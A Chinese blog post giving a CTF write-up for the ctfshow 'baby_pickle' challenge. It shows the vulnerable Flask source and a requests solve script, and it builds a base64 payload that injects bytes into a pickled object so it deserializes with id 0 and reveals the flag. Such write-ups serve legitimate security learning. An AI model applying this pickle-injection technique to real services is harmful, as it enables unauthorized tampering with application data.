ctfshow新手杯baby_pickle(python序列化与反序列化)

题目附件代码如下:

# Author:
#   Achilles
# Time:
#   2022-9-20
# For:
#   ctfshow
import base64
import pickle, pickletools
import uuid
from flask import Flask, request

app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"

class Rookie():
    def __init__(self, name, id):
        self.name = name
        self.id = id


@app.route("/")
def agent_show():
    global id
    id = id + 1

    if request.args.get("name"):
        name = request.args.get("name")
    else:
        name = "new_rookie"

    new_rookie = Rookie(name, id)
    try:
        file = open(str(name) + "_info", 'wb')
        info = pickle.dumps(new_rookie, protocol=0)
        info = pickletools.optimize(info)
        file.write(info)
        file.close()
    except Exception as e:
        return "error"

    with open(str(name)+"_info", "rb") as file:
        user = pickle.load(file)

    message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
    return message


@app.route("/dacaiji")
def get_flag():
    name = request.args.get("name")
    with open(str(name)+"_info", "rb") as f:
        user = pickle.load(f)

    if user.id != 0:
        message = "<h1>你不是大菜鸡</h1>"
        return message
    else:
        message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
        return message


@app.route("/change")
def change_name():
    name = base64.b64decode(request.args.get("name"))
    newname = base64.b64decode(request.args.get("newname"))

    file = open(name.decode() + "_info", "rb")
    info = file.read()
    print("old_info ====================")
    print(info)
    print("name ====================")
    print(name)
    print("newname ====================")
    print(newname)
    info = info.replace(name, newname)
    print(info)
    file.close()
    with open(name.decode()+ "_info", "wb") as f:
        f.write(info)
    return "success"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

对于类似的代码审计题目,一定要多在本地尝试,试着运行,百度不会的函数等,然后运行查看结果。

我当时的解法脚本是,

import requests

s = requests.Session()
url = 'http://5fe13c7b-72f7-40e6-8b31-d763cce56343.challenge.ctf.show/'
p1 = {
    'name':1,
}
res1 = s.get(url=url,params=p1)

p2 = {
    'name':'MQ==',
    'newname':'MA==',
}
res2 = s.get(url=url+'change',params=p2)

res3 = s.get(url=url+'dacaiji',params=p1)
print(res3.text)

这里一定要保证打开环境后url我们从未访问过!!!!

而正经解法是利用了源码里面的replace进行了逃逸。具体如下

我们这里先看一下id为1或2的序列化字节有什么不同:

print(pickletools.optimize(pickle.dumps(Rookie("aaa",0),protocol=0)))
print(pickletools.optimize(pickle.dumps(Rookie("aaa",1),protocol=0)))

b'ccopy_reg\n_reconstructor\n(c__main__\nRookie\nc__builtin__\nobject\nNtR(dVname\nVaaa\nsVid\nI0\nsb.'
b'ccopy_reg\n_reconstructor\n(c__main__\nRookie\nc__builtin__\nobject\nNtR(dVname\nVaaa\nsVid\nI1\nsb.'

可以发现不同的数字。并且最后那个`.`起句号作用,相当于PHP反序列化逃逸的`}`

我们先传参数?name=aaa

然后我们在/change页面,将name改为(这里我的建议是不写\n表示换行,而是直接敲回车然后进行base64编码)

aaa
sVid
I0
sb.

payload如下:

/change?name=YWFh&newname=YWFhCnNWaWQKSTAKc2Iu

 

posted @ 2022-10-07 14:17  hithub  阅读(343)  评论(0编辑  收藏  举报